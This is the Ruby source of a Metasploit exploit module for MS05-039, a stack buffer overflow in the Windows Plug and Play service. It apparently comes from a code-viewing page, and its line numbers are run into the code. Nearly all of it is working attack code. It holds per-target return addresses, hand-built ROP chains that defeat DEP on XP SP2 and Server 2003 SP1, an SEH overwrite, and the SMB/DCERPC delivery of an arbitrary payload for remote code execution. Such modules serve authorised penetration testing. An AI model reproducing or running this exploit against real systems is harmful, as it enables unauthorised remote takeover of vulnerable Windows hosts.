Path: blob/master/modules/exploits/windows/smb/ms05_039_pnp.rb
33546 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS05-039 Microsoft Plug and Play Service Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the Windows Plug18and Play service. This vulnerability can be exploited on19Windows 2000 without a valid user account.2021NOTE: Since the PnP service runs inside the service.exe process, a failed22exploit attempt will cause the system to automatically reboot.23},24'Author' => [ 'hdm', 'cazz' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2005-1983' ],28[ 'OSVDB', '18605' ],29[ 'BID', '14513' ],30[ 'MSB', 'MS05-039' ]31],32'DefaultOptions' => {33'EXITFUNC' => 'thread'34},35'Privileged' => true,36'Payload' => {37'Space' => 1000,38'BadChars' => "\x00",39'StackAdjustment' => -350040},41'Platform' => 'win',42'Targets' => [43[44'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm45{46'Ret' => 0x767a38f6 # umpnpmgr.dll47},48],49[50'Windows 2000 SP4 French',51{52'Author' => 'ExaProbe <[email protected]>',53'Ret' => 0x767438f654},55],56[57'Windows 2000 SP4 Spanish',58{59'Ret' => 0x767738f6 # umpnpmgr.dll60},61],62[63# Tested on: English/French/German/Dutch/Finnish/Greek/Polish/Portuguese/Hungarian/Korean/Chinese/Arabic/Turkish/Russian64'Windows 2000 SP4 Universal',65{66'Author' => 'Pita Houmous <[email protected]>',67'Ret' => 0x01013C7968},69],70[71'Windows 2000 SP0-SP4 German',72{73'Author' => 'Michael Thumann <[email protected]>',74'Ret' => 0x767338f675},76],77[78'Windows 2000 SP0-SP4 Italian',79{80'Author' => 'acaro <[email protected]>',81'Ret' => 0x7677366f82},83],84[85'Windows XP SP1 English',86{87'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.110688'Pipe' => 'ntsvcs',89'Offset' => 1690}91],92# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access93# the vulnerable functionality.94[95'Windows XP SP2 English (Requires Admin)',96# SafeSEH enabled, DEP AlwaysOn97{98# 'Ret' => 0x41424344,99'Ret' => 0x758d2bb3, # pop eax / ret 0x8100'Pipe' => 'ntsvcs',101'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180102'Offset' => 72,103'EspOffset' => 108,104'RopStack' =>105# All addresses are from umpnpmgr.dll v5.2.3790.1830106[107#108# Step 1. Allocate an executable heap with HeapCreate109#110# Resolve HeapCreate from import1110x758c1148, # pointer to HeapCreate import1120x758c2950, # mov eax, [eax] / pop ebp / ret 0x81130x41414141, # scratch1140x41414141, # scratch115# 0x758da008, # becomes ebp (something writable)1160x758da1c8 - 0xc, # becomes ebp (writable, used later)117118# Call HeapCreate1190x758cb728, # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc1200x41414141, # scratch1210x41414141, # scratch1220x01040110, # flOptions (gets & with 0x40005)1230x01010101,1240x01010101,1250x758ce552, # becomes edi - pop edi,esi / ret1260x758cdd7e, # becomes esi - pop esi,ebx,ebp / ret 0x41270x41414141, # becomes ebx1280x41414141, # becomes ebp129130# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base1310x758d45f3, # or eax,0x8000 / pop ebp / ret 0x41320x41414141, # scratch1330x41414141, # scratch1340x41414141, # scratch1350x41414141, # becomes ebp136137# save eax to ebx1380x758ce0d5, # push eax / call esi1390x41414141, # scratch1400x758da008 + 0x18, # becomes ebp141142# Setup eax to load our saved stack pointer1430x758d18db, # pop eax / ret 0xc1440x41414141, # scratch1450x758c524e, # becomes eax - pop ebp / ret 0x8146# 0x758c2423, # becomes eax - pop esi,ebp / ret 0x8147148# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after1490x758c1281, # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret1500x41414141, # scratch1510x41414141, # scratch1520x41414141, # scratch153# 0xcafebabe, # becomes esi1540x758da008 - 0x10, # becomes ebp155156# Call lstrcpyW to copy shellcode into executable heap1570x758c542e, # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi1580x41414141, # scratch1590x41414141, # scratch160161# Skip the junk1620x758c96f6, # add al,0x3b / ret163164# Call the executable segment!1650x758c3b62 # call eax166]167}168],169[170'Windows Server 2003 SP0 English (Requires Admin)',171# SafeSEH unsupported, DEP unsupported172{173'Ret' => 0x780df756, # push esp / ret in msvcp60.dll174'Pipe' => 'ntsvcs',175'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll176'Offset' => 72177}178],179[180'Windows Server 2003 SP1 English (Requires Admin)',181# SafeSEH enabled, DEP AlwaysOn182{183'Pipe' => 'ntsvcs',184# We will need to bypass DEP!185# 'Ret' => 0x41424344,186'Ret' => 0x757873d5, # pop eax / ret 0x4187'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll188'Offset' => 72, # offset to saved eip189'EspOffset' => 108, # Offset to where esp ends up pointing190'RopStack' => # NOTE: 0x41414141 will become random data191# All addresses are from umpnpmgr.dll v5.2.3790.1830192[193#194# Step 1. Allocate an executable heap with HeapCreate195#196# Resolve HeapCreate from import1970x75771144, # pointer to HeapCreate import1980x75772e68, # mov eax, [eax] / pop ebp / ret1990x41414141, # scratch2000x41414141, # becomes ebp201# Call HeapCreate2020x7578bc37, # jmp eax2030x41414141, # scratch2040x41414141, # scratch205# Save the new heap address in edi2060x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x102070x01040110, # flOptions (gets & with 0x40005)2080x01010101,2090x01010101,210211#212# Step 2. Allocate a buffer using this new heap.213#2140x757873d5, # pop eax / ret 0x42150x41414141, # scratch2160x41414141, # scratch2170x41414141, # scratch2180x41414141, # scratch219# Resolve HeapAlloc from import2200x7577115c, # pointer to HeapAlloc import2210x75772e68, # mov eax, [eax] / pop ebp / ret2220x41414141, # scratch2230x41414141, # becomes ebp224# Save the address of HeapAlloc in esi2250x75777ae0, # xchg eax,esi / mov dl,0xff / dec ecx / ret2260x41414141, # scratch2270x41414141, # scratch228# Call HeapAlloc2290x7578bb6b, # push edi / call esi / pop edi,esi,ebp / ret2300xffffffff, # flags2310x00010001, # allocation size2320x0101018d, # becomes edi / first byte stored2330x7577835c, # becomes esi - pop esi / pop ebx / ret2340x757830c3, # becomes ebp/eip - pop esi / ret235236#237# Step 3. Save the heap address into ebx238#2390x7578308f, # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi2400x41414141, # scratch241# Put heap address in edi2420x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10243244#245# Step 4. Write stub:246#247# metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:248# "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"249#250# Store the first byte.2510x7578be14, # stosb / ret2520x41414141, # scratch2530x41414141, # scratch2540x41414141, # scratch2550x41414141, # scratch256# Store another byte!2570x757873d5, # pop eax / ret 0x42580x01010174, # next byte to write2590x7578be14, # stosb / ret2600x41414141, # scratch261# Store another byte!2620x757873d5, # pop eax / ret 0x42630x01010124, # next byte to write2640x7578be14, # stosb / ret2650x41414141, # scratch266# Store another byte!2670x757873d5, # pop eax / ret 0x42680x01010104, # next byte to write2690x7578be14, # stosb / ret2700x41414141, # scratch271# Store another byte!2720x757873d5, # pop eax / ret 0x42730x010101ac, # next byte to write2740x7578be14, # stosb / ret2750x41414141, # scratch276# Store another byte!2770x757873d5, # pop eax / ret 0x42780x01010184, # next byte to write2790x7578be14, # stosb / ret2800x41414141, # scratch281# Store another byte!2820x757873d5, # pop eax / ret 0x42830x010101c0, # next byte to write2840x7578be14, # stosb / ret2850x41414141, # scratch286# Store another byte!2870x757873d5, # pop eax / ret 0x42880x01010174, # next byte to write2890x7578be14, # stosb / ret2900x41414141, # scratch291# Store another byte!2920x757873d5, # pop eax / ret 0x42930x01010103, # next byte to write2940x7578be14, # stosb / ret2950x41414141, # scratch296# Store another byte!2970x757873d5, # pop eax / ret 0x42980x010101aa, # next byte to write2990x7578be14, # stosb / ret3000x41414141, # scratch301# Store another byte!3020x757873d5, # pop eax / ret 0x43030x010101eb, # next byte to write3040x7578be14, # stosb / ret3050x41414141, # scratch306# Store another byte!3070x757873d5, # pop eax / ret 0x43080x010101f8, # next byte to write3090x7578be14, # stosb / ret3100x41414141, # scratch311312#313# Step 5. Finally, call our executable heap buffer.314#3150x75783efe # call ebx316]317}318]319],320'DefaultTarget' => 0,321'DisclosureDate' => '2005-08-09',322'Notes' => {323'Reliability' => UNKNOWN_RELIABILITY,324'Stability' => UNKNOWN_STABILITY,325'SideEffects' => UNKNOWN_SIDE_EFFECTS326}327)328)329330register_options(331[332OptString.new('SMBPIPE', [ true, 'The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)', 'browser']),333]334)335end336337def pnp_probe(req, pipe = datastore['SMBPIPE'])338print_status('Connecting to the SMB service...')339begin340connect341smb_login342rescue ::Exception => e343print_error("Error: #{e.class} #{e}")344end345346handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])347print_status("Binding to #{handle} ...")348dcerpc_bind(handle)349print_status("Bound to #{handle} ...")350351# CS_DES352cs_des =353NDR.long(0) + # CSD_SignatureLength354NDR.long(0) + # CSD_LegacyDataOffset355NDR.long(req.length) + # CSD_LegacyDataSize356NDR.long(0) + # CSD_Flags357rand_text(16) + # GUID358req # CSD_LegacyData359360# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);361362# ResourceName:363stubdata =364NDR.UnicodeConformantVaryingString('a\\b\\c') + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID365NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific366NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)367NDR.long(cs_des.length) + # ResourceLen368NDR.long(4) + # OutputLen (at least 4)369NDR.long(0) # Flags370371print_status('Calling the vulnerable function...')372373begin374dcerpc.call(0x36, stubdata)375rescue Rex::Proto::DCERPC::Exceptions::NoResponse376print_status('Server did not respond, this is expected')377rescue StandardError => e378if e.to_s =~ /STATUS_PIPE_DISCONNECTED/379print_status('Server disconnected, this is expected')380else381raise e382end383end384385# Cleanup386disconnect387388if (!dcerpc.last_response.nil? and !dcerpc.last_response.stub_data.nil? and389dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")390return true391else392return false393end394end395396def check397if (pnp_probe('A'))398return Exploit::CheckCode::Vulnerable399end400401return Exploit::CheckCode::Safe402end403404def exploit405# If PtrToZero is set, we use saved-ret-overwrite instead of SEH.406if target['PtrToZero']407eip_off = target['Offset']408nul_off = eip_off + 8409410# DEP Bypass version (2003 SP1)411if target['RopStack']412esp_off = target['EspOffset']413414# Start with a randomized base buffer415rop_length = target['RopStack'].length * 4416print_status('ROP Data is %u bytes' % rop_length)417buf = rand_text(esp_off + rop_length)418419# Put the rest of the stack data at where esp ends up...420target['RopStack'].each_with_index do |el, idx|421if el != 0x41414141422buf[esp_off + (idx * 4), 4] = [el].pack('V')423end424end425else426# Start with a randomized base buffer427buf = rand_text(nul_off)428end429430# This becomes EIP431buf[eip_off, 4] = [target.ret].pack('V')432433# Pointer to NULL (4 zero bytes)434buf[nul_off, 4] = [target['PtrToZero']].pack('V')435else436# Pad the string up to reach our SEH frame437buf = rand_text(target['Offset'] || 56)438439# Jump over the address and our invalid pointer to the payload440buf << Rex::Arch::X86.jmp_short('$+32')441buf << rand_text(2)442443# The SEH handler pointer444buf << [target.ret].pack('V')445446# Some padding to reach the next pointer447buf << rand_text(20)448449# ResourceName - cause access violation on RtlInitUnicodeString450buf << rand_text(3) + "\xff"451end452453# Append the encoded payload and we are good to go!454buf << payload.encoded455456# Determine which pipe to use457pipe = target['Pipe'] || datastore['SMBPIPE']458459pnp_probe(buf, pipe)460461print_status('The server should have executed our payload')462463handler464end465end466467468